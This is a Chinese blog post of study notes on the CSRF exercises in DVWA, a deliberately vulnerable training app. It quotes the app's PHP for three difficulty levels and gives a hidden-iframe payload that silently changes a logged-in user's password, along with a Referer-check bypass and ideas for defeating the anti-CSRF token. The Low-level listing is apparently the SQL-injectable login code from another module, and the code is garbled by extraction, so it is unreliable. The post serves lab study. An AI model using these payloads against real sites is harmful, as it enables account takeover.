DVWA笔记之三:CSRF

CSRF与XSS不同,它称为跨站请求伪造,它是利用其他页面的恶意脚本来加载访问或操作存在CSRF的漏洞的可信网站。

1.Low级别

核心代码如下:

<?php 

if( isset( $_GET'Login' ] ) ) { 
    
// Get username 
    
$user $_GET'username' ]; 

    
// Get password 
    
$pass $_GET'password' ]; 
    
$pass md5$pass ); 

    
// Check the database 
    
$query  "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"
    
$result mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );

    if( 
$result && mysqli_num_rows$result ) == ) { 
        
// Get users details 
        
$row    mysqli_fetch_assoc$result ); 
        
$avatar $row["avatar"]; 

        
// Login successful 
        
echo "<p>Welcome to the password protected area {$user}</p>"
        echo 
"<img src=\"{$avatar}\" />"
    } 
    else { 
        
// Login failed 
        
echo "<pre><br />Username and/or password incorrect.</pre>"
    } 

    ((
is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false $___mysqli_res); 


?> 

没有加任何过滤和验证,抓去请求包如下:



发现它是通过GET形式提交,因此可以构造如下恶意网页1.html:

<iframe hidden src="http://www.xxx.com/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" ></iframe>

将其如果能让可信用户访问,那么会自动更改密码为passowrd。

2.Medium级别

核心代码:

<?php 

if( isset( $_GET'Change' ] ) ) { 
    
// Checks to see where the request came from 
    
if( stripos$_SERVER'HTTP_REFERER' ] ,$_SERVER'SERVER_NAME' ]) !== false ) { 
        
// Get input 
        
$pass_new  $_GET'password_new' ]; 
        
$pass_conf $_GET'password_conf' ]; 

        
// Do the passwords match? 
        
if( $pass_new == $pass_conf ) { 
            
// They do! 
            
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."E_USER_ERROR)) ? "" "")); 
            
$pass_new md5$pass_new ); 

            
// Update the database 
            
$insert "UPDATE `users` SET password = '$pass_new' WHERE user = '" dvwaCurrentUser() . "';"
            
$result mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );

            
// Feedback for the user 
            
echo "<pre>Password Changed.</pre>"
        } 
        else { 
            
// Issue with passwords matching 
            
echo "<pre>Passwords did not match.</pre>"
        } 
    } 
    else { 
        
// Didn't come from a trusted source 
        
echo "<pre>That request didn't look correct.</pre>"
    } 

    ((
is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false $___mysqli_res); 


?> 

首先想到的是直接伪造REFFER头,但是Cookie也要跟着伪造,此时的PHPSESSION却无法获取,因此只能换一种其他思路。

还是想着如何进行绕过过滤函数吧。

首先了解下striops函数

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

因此访问的地址里只要存在HOST就可以实现过滤的绕过,因此直接构造链接文件为HOST.html即可。

其中构造的恶意代码不变

3.HIGH级别

核心代码如下:

<?php 

if( isset( $_GET'Change' ] ) ) { 
    
// Check Anti-CSRF token 
    
checkToken$_REQUEST'user_token' ], $_SESSION'session_token' ], 'index.php' ); 

    
// Get input 
    
$pass_new  $_GET'password_new' ]; 
    
$pass_conf $_GET'password_conf' ]; 

    
// Do the passwords match? 
    
if( $pass_new == $pass_conf ) { 
        
// They do! 
        
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."E_USER_ERROR)) ? "" "")); 
        
$pass_new md5$pass_new ); 

        
// Update the database 
        
$insert "UPDATE `users` SET password = '$pass_new' WHERE user = '" dvwaCurrentUser() . "';"
        
$result mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );

        
// Feedback for the user 
        
echo "<pre>Password Changed.</pre>"
    } 
    else { 
        
// Issue with passwords matching 
        
echo "<pre>Passwords did not match.</pre>"
    } 

    ((
is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false $___mysqli_res); 


// Generate Anti-CSRF token 
generateSessionToken(); 

?> 


HIGH级别中加入了令牌机制,一种思路是获取USER_token,带USER_TOKEN提交,第二种思路就是通过XSS获取SESSION,继而提交恶意请求


posted @ 2017-08-14 15:02  vspiders  阅读(1458)  评论(0编辑  收藏  举报